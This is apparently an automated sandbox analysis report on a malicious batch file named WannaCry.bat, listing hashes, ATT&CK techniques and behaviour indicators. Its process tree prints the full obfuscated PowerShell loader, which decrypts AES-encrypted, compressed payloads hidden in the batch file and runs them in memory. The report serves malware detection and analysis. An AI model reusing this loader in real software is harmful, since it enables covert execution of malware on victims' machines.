10760fe9e1b716649af9dc2d710d82032928324868caee715328e2f43ab44dc6

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
04/08/2024, 12:06

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General

Target

WannaCry.bat
Size

4.5MB
MD5

c8dbe481d2770bc451c8743c27ba6ce9
SHA1

1b323d89ed671bcd6a2a304f62e61541d18ca3ab
SHA256

10760fe9e1b716649af9dc2d710d82032928324868caee715328e2f43ab44dc6
SHA512

f7932900c47f1278ee51f4380e3735edd199915917de8476a1f738d400d75a28c92fde3028d0956f0c2693dcd51f85e3ee5c798a114b202a22855c227623d910
SSDEEP

49152:l44FfYXDfYKWQwSm5JAyJx2ems7dhSYS0to/Q6rj6p3tQmd9+du9b:Pb

Score

6^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2324	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2324	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2324	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2324	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2120 wrote to memory of 2324	2120	cmd.exe	31
PID 2120 wrote to memory of 2324	2120	cmd.exe	31
PID 2120 wrote to memory of 2324	2120	cmd.exe	31
PID 2120 wrote to memory of 2324	2120	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\WannaCry.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2120
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UXL0PfD03X4aCPWYkGBthkmMJQmcIFB9G/6RLKToTsY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('W2Fkicbjw65AFJXzKIHMnA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $VoCsZ=New-Object System.IO.MemoryStream(,$param_var); $OQNsV=New-Object System.IO.MemoryStream; $ugdeq=New-Object System.IO.Compression.GZipStream($VoCsZ, [IO.Compression.CompressionMode]::Decompress); $ugdeq.CopyTo($OQNsV); $ugdeq.Dispose(); $VoCsZ.Dispose(); $OQNsV.Dispose(); $OQNsV.ToArray();}function execute_function($param_var,$param2_var){ $NtFei=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $PmdTN=$NtFei.EntryPoint; $PmdTN.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\WannaCry.bat';$jeRNS=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\WannaCry.bat').Split([Environment]::NewLine);foreach ($ufEkh in $jeRNS) { if ($ufEkh.StartsWith(':: ')) { $wDNWk=$ufEkh.Substring(3); break; }}$payloads_var=[string[]]$wDNWk.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2324

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2324-2-0x00000000741D1000-0x00000000741D2000-memory.dmp

Filesize
4KB

Download
memory/2324-3-0x00000000741D0000-0x000000007477B000-memory.dmp

Filesize
5.7MB

Download
memory/2324-4-0x00000000741D0000-0x000000007477B000-memory.dmp

Filesize
5.7MB

Download
memory/2324-6-0x00000000741D0000-0x000000007477B000-memory.dmp

Filesize
5.7MB

Download
memory/2324-5-0x00000000741D0000-0x000000007477B000-memory.dmp

Filesize
5.7MB

Download
memory/2324-7-0x00000000741D0000-0x000000007477B000-memory.dmp

Filesize
5.7MB

Download